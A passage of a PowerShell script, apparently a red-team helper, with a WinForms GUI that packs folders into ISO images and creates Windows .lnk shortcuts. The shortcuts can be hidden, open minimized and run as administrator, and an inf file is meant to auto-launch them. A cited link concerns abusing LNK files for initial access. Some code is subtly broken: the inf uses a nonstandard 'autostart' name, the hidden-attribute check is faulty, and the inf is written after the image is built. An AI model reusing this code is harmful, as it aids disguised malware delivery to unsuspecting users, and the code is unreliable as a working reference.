[ValidateSet('CDR','CDRW','DVDRAM','DVDPLUSR','DVDPLUSRW','DVDPLUSR_DUALLAYER','DVDDASHR','DVDDASHRW','DVDDASHR_DUALLAYER','DISK','DVDPLUSRW_DUALLAYER','BDR','BDRE')][string] $Media = 'DVDPLUSRW_DUALLAYER', 30 | [string]$Title = (Get-Date).ToString("yyyyMMdd-HHmmss.ffff"), 31 | [switch]$Force, 32 | [parameter(ParameterSetName='Clipboard')][switch]$FromClipboard 33 | ) 34 | 35 | Begin { 36 | ($cp = new-object System.CodeDom.Compiler.CompilerParameters).CompilerOptions = '/unsafe' 37 | if (!('ISOFile' -as [type])) { 38 | Add-Type -CompilerParameters $cp -TypeDefinition @' 39 | public class ISOFile 40 | { 41 | public unsafe static void Create(string Path, object Stream, int BlockSize, int TotalBlocks) 42 | { 43 | int bytes = 0; 44 | byte[] buf = new byte[BlockSize]; 45 | var ptr = (System.IntPtr)(&bytes); 46 | var o = System.IO.File.OpenWrite(Path); 47 | var i = Stream as System.Runtime.InteropServices.ComTypes.IStream; 48 | 49 | if (o != null) { 50 | while (TotalBlocks-- > 0) { 51 | i.Read(buf, BlockSize, ptr); o.Write(buf, 0, bytes); 52 | } 53 | o.Flush(); o.Close(); 54 | } 55 | } 56 | } 57 | '@ 58 | } 59 | 60 | if ($BootFile) { 61 | if('BDR','BDRE' -contains $Media) { Write-Warning "Bootable image doesn't seem to work with media type $Media" } 62 | ($Stream = New-Object -ComObject ADODB.Stream -Property @{Type=1}).Open() # adFileTypeBinary 63 | $Stream.LoadFromFile((Get-Item -LiteralPath $BootFile).Fullname) 64 | ($Boot = New-Object -ComObject IMAPI2FS.BootOptions).AssignBootImage($Stream) 65 | } 66 | 67 | $MediaType = @('UNKNOWN','CDROM','CDR','CDRW','DVDROM','DVDRAM','DVDPLUSR','DVDPLUSRW','DVDPLUSR_DUALLAYER','DVDDASHR','DVDDASHRW','DVDDASHR_DUALLAYER','DISK','DVDPLUSRW_DUALLAYER','HDDVDROM','HDDVDR','HDDVDRAM','BDROM','BDR','BDRE') 68 | 69 | Write-Verbose -Message "Selected media type is $Media with value $($MediaType.IndexOf($Media))" 70 | ($Image = New-Object -com IMAPI2FS.MsftFileSystemImage -Property @{VolumeName=$Title}).ChooseImageDefaultsForMediaType($MediaType.IndexOf($Media)) 71 | 72 | if (!($Target = New-Item -Path $Path -ItemType File -Force:$Force -ErrorAction SilentlyContinue)) { Write-Error -Message "Cannot create file $Path. Use -Force parameter to overwrite if the target file already exists."; break } 73 | } 74 | 75 | Process { 76 | if($FromClipboard) { 77 | if($PSVersionTable.PSVersion.Major -lt 5) { Write-Error -Message 'The -FromClipboard parameter is only supported on PowerShell v5 or higher'; break } 78 | $Source = Get-Clipboard -Format FileDropList 79 | } 80 | 81 | foreach($item in (Get-ChildItem -Path $Source -Force)) { 82 | if($item -isnot [System.IO.FileInfo] -and $item -isnot [System.IO.DirectoryInfo]) { 83 | $item = Get-Item -LiteralPath $item 84 | } 85 | 86 | if($item) { 87 | Write-Verbose -Message "Adding item to the target image: $($item.FullName)" 88 | try { $Image.Root.AddTree($item.FullName, $true) } catch { Write-Error -Message ($_.Exception.Message.Trim() + ' Try a different media type.') } 89 | } 90 | } 91 | } 92 | 93 | End { 94 | if ($Boot) { $Image.BootImageOptions=$Boot } 95 | $Result = $Image.CreateResultImage() 96 | [ISOFile]::Create($Target.FullName,$Result.ImageStream,$Result.BlockSize,$Result.TotalBlocks) 97 | Write-Verbose -Message "Target image ($($Target.FullName)) has been created" 98 | $Target 99 | } 100 | } 101 | 102 | function New-Shortcut 103 | { 104 | <# 105 | .Synopsis 106 | Creates a Windows shortcut file (.lnk). 107 | .DESCRIPTION 108 | PowerShell script for creating Windows shortcut files (.lnk). 109 | .EXAMPLE 110 | New-Shortcut -TargetPath C:\Windows\notepad.exe -OutputLink $env:userprofile\Desktop\notepad.lnk 111 | .INPUTS 112 | -TargetPath 113 | The target to create the link to. Enter the full path (Ex: C:Windows\system32\notepad.exe) 114 | -OutputLnk 115 | Enter path and name of the link file to create. (Ex: C:Windows\system32\notepad.lnk) 116 | -Arguments 117 | Any arguments to the file to be executed. If TargetPath=PowerShell.exe (Ex: "-NoProfile -NonInteractive -File C:\Scripts\script.ps1") 118 | -WorkingDirectory 119 | Set Working Directory the target is to be run from. 120 | -IconLocation 121 | Location of the icon to be used for the shortcut. Typically .ico, .exe, or .dll files contain icons (Ex: 'C:\windows\System32\SHELL32.dll,70') 122 | -WindowStyle 123 | Determines whether the window will be minimized, maximized, or use the default from the registry 124 | 7 = Minimized window 125 | 3 = Maximized window 126 | 1 = Default window 127 | -Description 128 | Description of the target the shorcut should display 129 | -Hotkey 130 | A hotkey that can be pressed to launch this shortcut 131 | -Hidden 132 | An optional parameter that sets the shortcut file to be hidden, reducing unnecessary clicks 133 | -AsAdmin 134 | Sets the shortcut to run the target application as an Administrator (may require elevation) 135 | .OUTPUTS 136 | This script creates a .lnk file in the specified location 137 | .NOTES 138 | Author: Beery, Christopher (https://github.com/zweilosec) 139 | Created: 14 Jul 2022 140 | Last Modified: 15 Jul 2022 141 | Useful Study Links: 142 | * http://powershellblogger.com/2016/01/create-shortcuts-lnk-or-url-files-with-powershell/ 143 | * https://docs.microsoft.com/en-us/powershell/scripting/samples/creating-.net-and-com-objects--new-object-?view=powershell-7.2 144 | * IconLocation = https://hull1.com/scriptit/2020/08/15/customize-shortcut-icon.html 145 | * https://v3ded.github.io/redteam/abusing-lnk-features-for-initial-access-and-persistence 146 | * https://docs.microsoft.com/en-us/windows/win32/shell/appids 147 | #> 148 | param ( 149 | [Parameter(Mandatory=$true)] 150 | [ValidateNotNull()] 151 | [ValidateNotNullOrEmpty()] 152 | [String] 153 | $TargetPath, 154 | 155 | [Parameter(Mandatory=$true)] 156 | [ValidateNotNull()] 157 | [ValidateNotNullOrEmpty()] 158 | [String] 159 | $OutputLink, 160 | 161 | [Parameter(Mandatory=$false)] 162 | [String] 163 | $Arguments = "", 164 | 165 | [Parameter(Mandatory=$false)] 166 | [String] 167 | $WorkingDirectory = "", 168 | 169 | [Parameter(Mandatory=$false)] 170 | [String] 171 | $IconLocation = "$TargetPath,0", #"C:\windows\System32\SHELL32.dll,70", default to targets icon, shell32(70) is text file icon 172 | 173 | [Parameter(Mandatory=$false)] 174 | [Int] 175 | $WindowStyle = 7, 176 | #7 = Minimized window 177 | #3 = Maximized window 178 | #1 = Normal window 179 | 180 | [Parameter(Mandatory=$false)] 181 | [String] 182 | $Description = "Shortcut to $TargetPath", 183 | 184 | [Parameter(Mandatory=$false)] 185 | [String] 186 | $HotKey = "", #The syntax is: "{KeyModifier}+{KeyName}" ( e.g. "Ctrl+Alt+Q", "Shift+F2", etc. ) 187 | 188 | [Parameter(Mandatory=$false)] 189 | [Switch] 190 | $Hidden = $False, 191 | 192 | [Parameter(Mandatory=$false)] 193 | [Switch] 194 | $AsAdmin = $False 195 | ) 196 | 197 | $WshShell = New-Object -comObject WScript.Shell 198 | $Shortcut = $WshShell.CreateShortcut($OutputLink) 199 | 200 | $Shortcut.TargetPath = $TargetPath 201 | $Shortcut.Arguments = $Arguments 202 | $Shortcut.WorkingDirectory = $WorkingDirectory 203 | $ShortCut.IconLocation = $IconLocation 204 | $shortcut.WindowStyle = $WindowStyle 205 | $ShortCut.Description = $Description 206 | $ShortCut.Hotkey = $Hotkey 207 | 208 | $Shortcut.Save() 209 | 210 | # Optional if you want to make the link hidden (to prevent user clicks) 211 | if ($Hidden) 212 | { 213 | If ((Get-ItemProperty $OutputLink) -and [System.IO.FileAttributes]::Hidden) 214 | { 215 | #Write-Output "The file is hidden already" 216 | break 217 | } 218 | (Get-Item $OutputLink).Attributes += 'Hidden' 219 | } 220 | 221 | # Below is the code to set shortcut to "Run As Administrator" (optional) 222 | If ($AsAdmin) 223 | { 224 | $bytes = [System.IO.File]::ReadAllBytes($OutputLink) 225 | $bytes[0x15] = $bytes[0x15] -bor 0x20 #set byte 21 (0x15) bit 6 (0x20) to on 226 | [System.IO.File]::WriteAllBytes($OutputLink, $bytes) 227 | } 228 | } 229 | 230 | function Set-IsoFileAutostart { 231 | [CmdletBinding()] 232 | param( 233 | [Parameter(Mandatory=$true)] 234 | [String]$InputIsoPath, 235 | [Parameter(Mandatory=$false)] 236 | [String]$AutostartFile 237 | ) 238 | 239 | # Create the autostart.inf file in the correct format 240 | $autostartInf = "[autostart]" 241 | if ($AutostartFile) { 242 | $autostartInf += "`nopen=$AutostartFile" 243 | } 244 | 245 | # Save the autostart.inf file to the specified path 246 | $autostartInf | Out-File -FilePath "$InputIsoPath\autostart.inf" 247 | } 248 | 249 | #end-region functions 250 | 251 | # Create a form 252 | $form = New-Object System.Windows.Forms.Form 253 | $form.Text = "ISO Creator" 254 | $form.Size = New-Object System.Drawing.Size(600, 400) 255 | 256 | #Change the Font for the headers to bold 257 | $LabelFont = [System.Drawing.Font]::new("Microsoft Sans Serif", 12, [System.Drawing.FontStyle]::Bold) 258 | 259 | # Create a label for the ISO section 260 | $ISOLabel = New-Object System.Windows.Forms.Label 261 | $ISOLabel.Location = New-Object System.Drawing.Point(10, 20) 262 | $ISOLabel.Size = New-Object System.Drawing.Size(100, 20) 263 | $ISOLabel.Text = "Create ISO" 264 | $ISOLabel.Font = $LabelFont 265 | $form.Controls.Add($ISOLabel) 266 | 267 | # Create a label for the input path 268 | $inputLabel = New-Object System.Windows.Forms.Label 269 | $inputLabel.Location = New-Object System.Drawing.Point(10, 50) 270 | $inputLabel.Size = New-Object System.Drawing.Size(100, 20) 271 | $inputLabel.Text = "Input Path:" 272 | $form.Controls.Add($inputLabel) 273 | 274 | # Create a text box for the input path 275 | $inputTextBox = New-Object System.Windows.Forms.TextBox 276 | $inputTextBox.Location = New-Object System.Drawing.Point(110, 50) 277 | $inputTextBox.Size = New-Object System.Drawing.Size(470, 20) 278 | $form.Controls.Add($inputTextBox) 279 | 280 | # Create a label for the output path 281 | $outputLabel = New-Object System.Windows.Forms.Label 282 | $outputLabel.Location = New-Object System.Drawing.Point(10, 80) 283 | $outputLabel.Size = New-Object System.Drawing.Size(100, 20) 284 | $outputLabel.Text = "Output Path:" 285 | $form.Controls.Add($outputLabel) 286 | 287 | # Create a text box for the output path 288 | $outputTextBox = New-Object System.Windows.Forms.TextBox 289 | $outputTextBox.Location = New-Object System.Drawing.Point(110, 80) 290 | $outputTextBox.Size = New-Object System.Drawing.Size(470, 20) 291 | $form.Controls.Add($outputTextBox) 292 | 293 | # Create a label for the volume label 294 | $volumeLabelLabel = New-Object System.Windows.Forms.Label 295 | $volumeLabelLabel.Location = New-Object System.Drawing.Point(10, 110) 296 | $volumeLabelLabel.Size = New-Object System.Drawing.Size(100, 20) 297 | $volumeLabelLabel.Text = "Volume Label:" 298 | $form.Controls.Add($volumeLabelLabel) 299 | 300 | # Create a text box for the volume label 301 | $volumeLabelTextBox = New-Object System.Windows.Forms.TextBox 302 | $volumeLabelTextBox.Location = New-Object System.Drawing.Point(110, 110) 303 | $volumeLabelTextBox.Size = New-Object System.Drawing.Size(470, 20) 304 | $form.Controls.Add($volumeLabelTextBox) 305 | 306 | 307 | # Create a label for the link section 308 | $lnkLabel = New-Object System.Windows.Forms.Label 309 | $lnkLabel.Location = New-Object System.Drawing.Point(10, 170) 310 | $lnkLabel.Size = New-Object System.Drawing.Size(100,20) 311 | $lnkLabel.Text = "Create Link" 312 | $lnkLabel.Font = $LabelFont 313 | $form.Controls.Add($lnkLabel) 314 | 315 | # Create a label for the .lnk file path 316 | $lnkPathLabel = New-Object System.Windows.Forms.Label 317 | $lnkPathLabel.Location = New-Object System.Drawing.Point(10, 200) 318 | $lnkPathLabel.Size = New-Object System.Drawing.Size(100, 20) 319 | $lnkPathLabel.Text = ".lnk Path:" 320 | $form.Controls.Add($lnkPathLabel) 321 | 322 | # Create a text box for the .lnk file path 323 | $lnkPathTextBox = New-Object System.Windows.Forms.TextBox 324 | $lnkPathTextBox.Location = New-Object System.Drawing.Point(110, 200) 325 | $lnkPathTextBox.Size = New-Object System.Drawing.Size(470, 20) 326 | $form.Controls.Add($lnkPathTextBox) 327 | 328 | # Create a label for the .lnk file description 329 | $lnkDescriptionLabel = New-Object System.Windows.Forms.Label 330 | $lnkDescriptionLabel.Location = New-Object System.Drawing.Point(10, 230) 331 | $lnkDescriptionLabel.Size = New-Object System.Drawing.Size(100, 20) 332 | $lnkDescriptionLabel.Text = ".lnk Description:" 333 | $form.Controls.Add($lnkDescriptionLabel) 334 | 335 | # Create a text box for the .lnk file description 336 | $lnkDescriptionTextBox = New-Object System.Windows.Forms.TextBox 337 | $lnkDescriptionTextBox.Location = New-Object System.Drawing.Point(110, 230) 338 | $lnkDescriptionTextBox.Size = New-Object System.Drawing.Size(470, 20) 339 | $form.Controls.Add($lnkDescriptionTextBox) 340 | 341 | # Create a label for the .lnk file target 342 | $lnkTargetLabel = New-Object System.Windows.Forms.Label 343 | $lnkTargetLabel.Location = New-Object System.Drawing.Point(10, 260) 344 | $lnkTargetLabel.Size = New-Object System.Drawing.Size(100, 20) 345 | $lnkTargetLabel.Text = ".lnk Target:" 346 | $form.Controls.Add($lnkTargetLabel) 347 | 348 | # Create a text box for the .lnk file target 349 | $lnkTargetTextBox = New-Object System.Windows.Forms.TextBox 350 | $lnkTargetTextBox.Location = New-Object System.Drawing.Point(110, 260) 351 | $lnkTargetTextBox.Size = New-Object System.Drawing.Size(470, 20) 352 | $form.Controls.Add($lnkTargetTextBox) 353 | 354 | # Create a button to create the ISO file 355 | $createIsoButton = New-Object System.Windows.Forms.Button 356 | $createIsoButton.Location = New-Object System.Drawing.Point(10, 140) 357 | $createIsoButton.Size = New-Object System.Drawing.Size(100, 25) 358 | $createIsoButton.Text = "Create ISO" 359 | $createIsoButton.Add_Click({ 360 | # Get the input and output paths and volume label from the form 361 | $Source = $inputTextBox.Text 362 | $Path = $outputTextBox.Text 363 | $Title = $volumeLabelTextBox.Text 364 | 365 | # Create the ISO file 366 | New-IsoFile -Source $Source -Path $Path -Title $Title -Force 367 | $returnStatus.Text = "" 368 | 369 | # file write success 370 | if ($(Test-Path $Path)){ 371 | Write-Host -ForegroundColor Green "ISO creation success" 372 | $returnStatus.BackColor = "Transparent" 373 | $returnStatus.ForeColor = "lime" 374 | $returnStatus.Text = "ISO creation success" 375 | } 376 | Else{ 377 | # file write non success 378 | Write-Host -ForegroundColor Red "ISO creation failed" 379 | $returnStatus.ForeColor= "Red" 380 | $returnStatus.Text = "ISO creation failed" 381 | } 382 | }) 383 | $form.Controls.Add($createIsoButton) 384 | 385 | # Create a button to create the .lnk file 386 | $createLnkButton = New-Object System.Windows.Forms.Button 387 | $createLnkButton.Location = New-Object System.Drawing.Point(10, 290) 388 | $createLnkButton.Size = New-Object System.Drawing.Size(100, 25) 389 | $createLnkButton.Text = "Create .lnk" 390 | $createLnkButton.Add_Click({ 391 | # Get the path, description, and target from the form 392 | $OutputLink = $lnkPathTextBox.Text 393 | $description = $lnkDescriptionTextBox.Text 394 | $targetPath = $lnkTargetTextBox.Text 395 | 396 | # Create the .lnk file 397 | New-Shortcut -OutputLink $OutputLink -Description $description -TargetPath $targetPath 398 | $returnStatus.Text = "" 399 | 400 | # file write success 401 | if ($(Test-Path $OutputLink)){ 402 | Write-Host -ForegroundColor Green "Link creation success" 403 | $returnStatus.BackColor = "Transparent" 404 | $returnStatus.ForeColor = "lime" 405 | $returnStatus.Text = "Link creation success" 406 | } 407 | Else{ 408 | # file write non success 409 | Write-Host -ForegroundColor Red "Link creation failed" 410 | $returnStatus.ForeColor= "Red" 411 | $returnStatus.Text = "Link creation failed" 412 | } 413 | }) 414 | $form.Controls.Add($createLnkButton) 415 | 416 | # Create a button to add the .lnk file to the ISO file and set it as the autostart file 417 | $setAutostartButton = New-Object System.Windows.Forms.Button 418 | $setAutostartButton.Location = New-Object System.Drawing.Point(230, 290) 419 | $setAutostartButton.Size = New-Object System.Drawing.Size(150, 25) 420 | $setAutostartButton.Text = "Set .lnk as Autostart" 421 | $setAutostartButton.Add_Click({ 422 | # Get the input ISO path and autostart file from the form 423 | $inputIsoPath = $inputTextBox.Text 424 | $autostartFile = Split-Path -Path $lnkPathTextBox.Text -Leaf 425 | 426 | # Set the .lnk file as the autostart file for the ISO file 427 | Set-IsoFileAutostart -InputIsoPath $inputIsoPath -AutostartFile $autostartFile 428 | 429 | $returnStatus.Text = "" 430 | 431 | # file write success 432 | if ($(Test-Path "$inputIsoPath/autostart.inf")){ 433 | Write-Host -ForegroundColor Green "inf creation success" 434 | $returnStatus.BackColor = "Transparent" 435 | $returnStatus.ForeColor = "lime" 436 | $returnStatus.Text = "inf creation success" 437 | } 438 | Else{ 439 | # file write non success 440 | Write-Host -ForegroundColor Red "inf creation failed" 441 | $returnStatus.ForeColor= "Red" 442 | $returnStatus.Text = "inf creation failed" 443 | } 444 | }) 445 | $form.Controls.Add($setAutostartButton) 446 | 447 | # Create a button to close the form 448 | $closeButton = New-Object System.Windows.Forms.Button 449 | $closeButton.Location = New-Object System.Drawing.Point(420, 330) 450 | $closeButton.Size = New-Object System.Drawing.Size(150, 25) 451 | $closeButton.Text = "Close" 452 | $closeButton.Add_Click({ 453 | $form.Close() 454 | }) 455 | $form.Controls.Add($closeButton) 456 | 457 | # return status 458 | $returnStatus = New-Object System.Windows.Forms.label 459 | $returnStatus.Location = New-Object System.Drawing.Point(10,330) 460 | $returnStatus.Size = New-Object System.Drawing.Size(130,30) 461 | $returnStatus.Text = "Standby..." 462 | $form.Controls.Add($returnStatus) 463 | 464 | $form.ShowDialog() 465 | --------------------------------------------------------------------------------